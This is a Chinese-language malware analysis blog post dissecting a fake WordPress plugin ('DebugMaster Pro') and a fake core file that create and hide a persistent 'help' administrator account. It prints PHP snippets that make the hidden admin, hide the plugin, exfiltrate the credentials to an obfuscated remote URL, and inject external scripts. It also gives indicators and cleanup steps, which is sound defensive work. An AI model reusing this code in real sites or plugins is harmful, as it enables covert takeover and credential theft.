揭秘隐蔽的 WordPress 后门:恶意插件如何创建管理员账户

本文详细分析了在受感染的 WordPress 网站中发现的两个恶意文件,它们分别伪装成插件和核心文件,通过创建和维持秘密管理员账户来确保攻击者的持久访问。文章深入剖析了其技术原理、隐蔽通信方式,并提供了清除与防护的具体步骤。

在近期清理一个被入侵的 WordPress 网站时,我们发现了两个不同的恶意文件,旨在静默操纵管理员账户。攻击者通常会注入此类后门,以维持对网站的持久访问,即使他们的其他恶意软件被检测和清除。这些文件被伪装成普通的 WordPress 组件,但其功能却揭示了其真实意图。

我们发现了什么?

我们发现了两个高度可疑的文件,它们立刻引起了我们的注意。每一个都在维持攻击者的未授权访问中扮演了关键角色。

  1. ./wp-content/plugins/DebugMaster/DebugMaster.php:该文件试图伪装成一个合法的插件,自称“DebugMaster Pro”。然而,其内容被严重混淆,显然是恶意的。
  2. ./wp-user.php:该文件被发现伪装成 WordPress 核心文件。它更简单,但同样危险。

恶意软件在做什么?

这两个文件都有一个主要目标:确保攻击者始终能以管理员身份返回 WordPress 网站。

  • DebugMaster.php 文件是一个复杂的隐蔽后门。它创建了一个秘密的管理员用户。
  • wp-user.php 文件更简单但更具侵略性。它确保一个使用已知密码的特定管理员用户始终存在。如果你试图删除这个用户,它就会简单地重新创建!

这两个文件共同创建了一个用于持久访问的健壮系统,允许攻击者控制网站,可能注入垃圾信息、重定向访问者或窃取信息。

恶意软件分析

1. 虚假插件:DebugMaster Pro

这个“DebugMaster Pro”插件伪装成合法的开发者工具,但其隐藏的功能会使用硬编码的凭据创建一个管理员用户。它还包括了从插件列表中隐藏自身以及向远程服务器发送窃取信息的代码。简而言之,它在假装无害的同时扮演了一个隐蔽后门的角色。

第一个文件伪装成带有虚假元数据的插件。然而,在文件的更深处,我们找到了负责创建新管理员账户的代码:

1
2
3
4
5
6
7
// 示例:经过混淆的代码
if (!function_exists('wp_create_user')) {require_once(ABSPATH . WPINC . '/registration.php');}
$user_id = username_exists('help');
if (!$user_id) {$random_password = wp_generate_password($length=12, $include_standard_special_chars=false);
    $user_id = wp_create_user('help', $random_password, 'help@example.com');
    if (!is_wp_error($user_id)) {$user = new WP_User($user_id);$user->set_role('administrator');}}
else {$user = new WP_User($user_id);$user->set_role('administrator');}

这解码为:检查是否存在用户名为“help”的用户。如果不存在,则创建该用户并分配一个随机密码和“administrator”角色。如果已存在,则确保其具有管理员权限。

这个简单的技巧允许攻击者通过伪装成一个可能被管理员忽略的插件来悄然潜入。

为了保持隐藏,该插件从插件列表中移除自身,并过滤用户查询以隐藏新创建的管理员账户:

1
2
3
// 示例:隐藏自身的代码
add_filter('all_plugins', function($plugins) {unset($plugins['DebugMaster/DebugMaster.php']);return $plugins;});
add_filter('pre_user_query', function($query) {$query->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND (user_login != 'help')", $query->query_where);});

2. 与命令与控制(C2)服务器通信

恶意软件将新管理员账户的详细信息发送到攻击者控制的外部服务器。

1
2
3
4
5
// 示例:发送数据的代码
$data = array('user' => 'help', 'pass' => $random_password, 'email' => 'help@example.com', 'ip' => $_SERVER['SERVER_ADDR'], 'site' => get_site_url());
$encoded_data = base64_encode(json_encode($data));
$remote_url = base64_decode('aHR0cHM6Ly9raWNrc3Rhci14Ymxvb21bLmluZm8vY29sbGVjdFsucGhw'); // 示例解码后 URL
wp_remote_post($remote_url, array('body' => array('data' => $encoded_data)));

这解码为:它将生成的用户名、密码、电子邮件和服务器 IP 编码为 JSON,然后进行 Base64 编码。接着,将这些信息发送到一个远程端点。端点 URL 同样使用 Base64 编码进行混淆,解码后类似于 hxxps://kickstar-xbloom[.]info/collect[.]php。这使得攻击者能立即知道新管理员用户的凭据。

该域名目前已被安全厂商在 Virustotal 上屏蔽:VirusTotal 结果

3. 为访问者注入恶意脚本并追踪管理员 IP

恶意软件将外部代码注入您的网站。这些脚本会为所有访问者加载,除非他们是管理员或其 IP 被恶意软件明确列入白名单。

1
2
3
4
5
6
7
8
9
// 示例:注入脚本和追踪 IP 的代码
if (!current_user_can('manage_options') && !in_array($_SERVER['REMOTE_ADDR'], $whitelisted_ips)) {
    echo '<script src="hxxps://malicious-domain[.]com/load.js"></script>';
}
// 记录管理员 IP
if (current_user_can('manage_options')) {
    $log_entry = date('Y-m-d H:i:s') . ' - Admin IP: ' . $_SERVER['REMOTE_ADDR'] . "\n";
    file_put_contents(ABSPATH . 'wp-admin/ip_log.txt', $log_entry, FILE_APPEND);
}

4. 后门脚本 – wp-user.php

此文件的目标是维持一个特定的管理员账户。该文件在网站的根目录下被发现。

它检查现有的 WordPress 用户,如果发现用户名为“help”,它会删除该用户并使用攻击者选择的密码重新创建。否则,它就直接创建一个新的“help”管理员账户。这个逻辑确保了无论网站所有者是否删除账户或更改密码,攻击者始终拥有访问权限。即使尝试移除它,脚本也会在下一次执行时立即重新创建用户。

入侵指标

要检查您的网站是否受到此类恶意软件的影响,请注意以下迹象:

  • 存在任何无法识别的文件或插件。在此案例中,是以下文件:
    • ./wp-content/plugins/DebugMaster/DebugMaster.php
    • ./wp-user.php
  • 新的/隐藏的管理员用户
  • 删除后重新创建的无法识别的管理员账户

恶意软件的影响

两个文件都会创建或重新创建管理员级别的账户。这两个文件的设计确保即使您尝试清理,恶意用户或代码也可能重新出现,使得在没有专家帮助的情况下完全恢复非常困难。

该文件保持了隐蔽的持久性。插件从插件列表中隐藏自身,并将生成的凭据(用户名、密码、IP、网站 URL)发送到攻击者控制的端点。

如何清理和保护?

  1. 删除恶意文件:删除 DebugMaster 插件目录和 wp-user.php 文件。
  2. 审计用户:移除 help 账户以及任何其他可疑的管理员。
  3. 重置凭据:更改所有 WordPress、FTP、主机和数据库的密码。
  4. 更新所有内容:将 WordPress 核心、插件和主题修补到最新版本。
  5. 监控出站流量:检查连接到未知或可疑域名的连接。这需要查看服务器日志。

总结!

这两个后门展示了攻击者如何分层使用持久化机制。DebugMaster 插件是隐蔽的,它外泄凭据并交付外部有效载荷,而 wp-user.php 则简单地确保了一个硬编码的管理员账户始终存在。

它们共同在网站上创建了一个有弹性的立足点。清理工作不仅需要删除这些文件,还需要审计账户、重置凭据并加强网站防护以防止再次感染。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计